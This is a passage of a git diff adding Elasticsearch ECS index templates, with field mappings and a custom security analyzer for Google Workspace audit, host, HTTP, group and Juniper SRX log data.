"ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incoming": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "outgoing": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "field": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "gateway": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "group": { + "properties": { + "allowed_list": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "priorities": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "info_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "managed_configuration": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mdm": { + "properties": { + "token": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vendor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "mobile": { + "properties": { + "action": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "certificate": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "company_owned_devices": { + "type": "long" + } + } + }, + "new_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "non_featured_services_selection": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oauth2": { + "properties": { + "application": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "service": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "old_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "org_unit": { + "properties": { + "full": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "print_server": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "printer": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "privilege": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "product": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sku": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "request": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "resource": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "role": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "rule": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "service": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "setting": { + "properties": { + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "url": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "user": { + "properties": { + "birthdate": { + "type": "date" + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nickname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "user_defined_setting": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "verification_method": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "drive": { + "properties": { + "added_role": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "billable": { + "type": "boolean" + }, + "destination_folder_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_folder_title": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "owner": { + "properties": { + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "is_shared_drive": { + "type": "boolean" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "membership_change_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "new_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "old_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "old_visibility": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "originating_app_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "primary_event": { + "type": "boolean" + }, + "removed_role": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "shared_drive_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "shared_drive_settings_change_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sheets_import_range_recipient_doc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_folder_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_folder_title": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "visibility": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "visibility_change": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "event": { + "properties": { + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "groups": { + "properties": { + "acl_permission": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "member": { + "properties": { + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "role": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "message": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "moderation_action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "new_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "old_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "setting": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "kind": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "login": { + "properties": { + "affected_email_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "challenge_method": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "failure_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "is_second_factor": { + "type": "boolean" + }, + "is_suspicious": { + "type": "boolean" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "organization": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "saml": { + "properties": { + "application_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "failure_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "initiated_by": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "orgunit_path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "second_level_status_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/group.json b/salt/elasticsearch/templates/component/ecs/group.json new file mode 100644 index 000000000..a28670064 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/group.json @@ -0,0 +1,86 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-group.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/host.json b/salt/elasticsearch/templates/component/ecs/host.json new file mode 100644 index 000000000..d2f8dc301 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/host.json @@ -0,0 +1,471 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-host.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "host": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cpu": { + "properties": { + "usage": { + "scaling_factor": 1000, + "type": "scaled_float" + } + } + }, + "disk": { + "properties": { + "read": { + "properties": { + "bytes": { + "type": "long" + } + } + }, + "write": { + "properties": { + "bytes": { + "type": "long" + } + } + } + } + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "geo": { + "properties": { + "city_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "location": { + "type": "geo_point" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "postal_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hostname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ip": { + "type": "ip" + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "network": { + "properties": { + "egress": { + "properties": { + "bytes": { + "type": "long" + }, + "packets": { + "type": "long" + } + } + }, + "ingress": { + "properties": { + "bytes": { + "type": "long" + }, + "packets": { + "type": "long" + } + } + } + } + }, + "os": { + "properties": { + "family": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "kernel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "platform": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "uptime": { + "type": "long" + }, + "user": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/http.json b/salt/elasticsearch/templates/component/ecs/http.json new file mode 100644 index 000000000..a5c0c4e70 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/http.json @@ -0,0 +1,171 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-http.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "http": { + "properties": { + "request": { + "properties": { + "body": { + "properties": { + "bytes": { + "type": "long" + }, + "content": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "text": { + "type": "match_only_text" + } + }, + "type": "wildcard" + } + } + }, + "bytes": { + "type": "long" + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "method": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mime_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "referrer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "response": { + "properties": { + "body": { + "properties": { + "bytes": { + "type": "long" + }, + "content": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "text": { + "type": "match_only_text" + } + }, + "type": "wildcard" + } + } + }, + "bytes": { + "type": "long" + }, + "mime_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status_code": { + "type": "long" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/juniper.json b/salt/elasticsearch/templates/component/ecs/juniper.json new file mode 100644 index 000000000..50a2dd287 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/juniper.json @@ -0,0 +1,838 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "juniper": { + "properties": { + "srx": { + "properties": { + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "action_detail": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "alert": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "apbr_rule_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_characteristics": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_sub_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attack_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client_ip": { + "type": "ip" + }, + "connection_hit_rate": { + "type": "long" + }, + "connection_tag": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "context_hit_rate": { + "type": "long" + }, + "context_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "context_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "context_value_hit_rate": { + "type": "long" + }, + "ddos_application_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dscp_value": { + "type": "long" + }, + "dst_nat_rule_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_nat_rule_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_vrf_grp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "elapsed_time": { + "type": "date" + }, + "encrypted": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "epoch_time": { + "type": "date" + }, + "error_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "error_message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "export_id": { + "type": "long" + }, + "feed_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_hash_lookup": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "filename": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "hostname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "icmp_type": { + "type": "long" + }, + "inbound_bytes": { + "type": "long" + }, + "inbound_packets": { + "type": "long" + }, + "index": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "logical_system_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "malware_info": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "message": { + "ignore_above": 